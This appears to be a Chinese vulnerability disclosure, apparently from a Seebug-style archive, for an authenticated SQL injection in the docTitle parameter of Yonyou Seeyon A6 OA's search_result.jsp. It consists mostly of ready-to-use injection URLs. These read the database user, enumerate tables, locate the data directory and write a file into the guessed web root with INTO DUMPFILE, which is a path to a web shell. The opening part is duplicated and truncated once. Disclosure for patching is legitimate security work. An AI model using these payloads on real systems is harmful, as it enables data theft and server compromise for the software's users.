### 简要描述： 用友致远A6协同管理SQL注射漏洞，需登录账户。 ### 详细说明： 注入发生在search_result.jsp文件中的docTitle参数 ``` http://xxxxxx.com/yyoa/oaSearch/search_result.jsp?docType=协同信息&docTitle=1'and/**/1=2/**/ union/**/all/**/select/**/user(),2,3,4,5%23&goal=1&perId=0&startTime=&endTime=&keyword=&searchArea=notArc ``` [<img src="https://images.seebug.org/upload/201306/0300425251c1ded70b2db7e1f54dd4a4a4b4aa76.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201306/0300425251c1ded70b2db7e1f54dd4a4a4b4aa76.png) 查询表名： ``` http:// xxxxxx.com /yyoa/oaSearch/search_result.jsp?docType=协同信息&docTitle=test'and/**/1=2/**/union/**/all/**/select/**/group_concat(table_name),2,3,4,5/**/from/**/information_schema.tables%23&goal=1&perId=0&startTime=&endTime=&keyword=&searchArea=notArc ``` [<img src="https://images.seebug.org/upload/201306/030044321a8f5a91599c56220dfcfd66cb41176b.png" alt="4.png" width="600"...
### 简要描述： 用友致远A6协同管理SQL注射漏洞，需登录账户。 ### 详细说明： 注入发生在search_result.jsp文件中的docTitle参数 ``` http://xxxxxx.com/yyoa/oaSearch/search_result.jsp?docType=协同信息&docTitle=1'and/**/1=2/**/ union/**/all/**/select/**/user(),2,3,4,5%23&goal=1&perId=0&startTime=&endTime=&keyword=&searchArea=notArc ``` [<img src="https://images.seebug.org/upload/201306/0300425251c1ded70b2db7e1f54dd4a4a4b4aa76.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201306/0300425251c1ded70b2db7e1f54dd4a4a4b4aa76.png) 查询表名： ``` http:// xxxxxx.com /yyoa/oaSearch/search_result.jsp?docType=协同信息&docTitle=test'and/**/1=2/**/union/**/all/**/select/**/group_concat(table_name),2,3,4,5/**/from/**/information_schema.tables%23&goal=1&perId=0&startTime=&endTime=&keyword=&searchArea=notArc ``` [<img src="https://images.seebug.org/upload/201306/030044321a8f5a91599c56220dfcfd66cb41176b.png" alt="4.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201306/030044321a8f5a91599c56220dfcfd66cb41176b.png) 由于程序是集成默认安装，能够猜测到WEB路径： ``` http://xxxxxx.com/yyoa/oaSearch/search_result.jsp?docType=协同信息&docTitle=test'and/**/1=2/**/union/**/all/**/select/**/@@datadir,2,3,4,5%23&goal=1&perId=0&startTime=&endTime=&keyword=&searchArea=notArc ``` [<img src="https://images.seebug.org/upload/201306/03004612293cbe09c28d2351d7dd2dd2acd4a47b.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201306/03004612293cbe09c28d2351d7dd2dd2acd4a47b.png) 根据网上查到的OA安装路径资料，拼接出WEB路径为： ``` d:\UFseeyon\OA\tomcat\webapps\yyoa ``` 直接dumpfile文件： ``` http://xxxxxx.com/yyoa/oaSearch/search_result.jsp?docType=协同信息&docTitle=test'and/**/1=2/**/union/**/all/**/select/**/'test',2,3,4,5/**/into/**/dumpfile/**/'d:/UFseeyon/OA/tomcat/webapps/yyoa/test.jsp'/**/from/**/mysql.user/**/limit/**/1%23&goal=1&perId=0&startTime=&endTime=&keyword=&searchArea=notArc ``` ### 漏洞证明： 同上
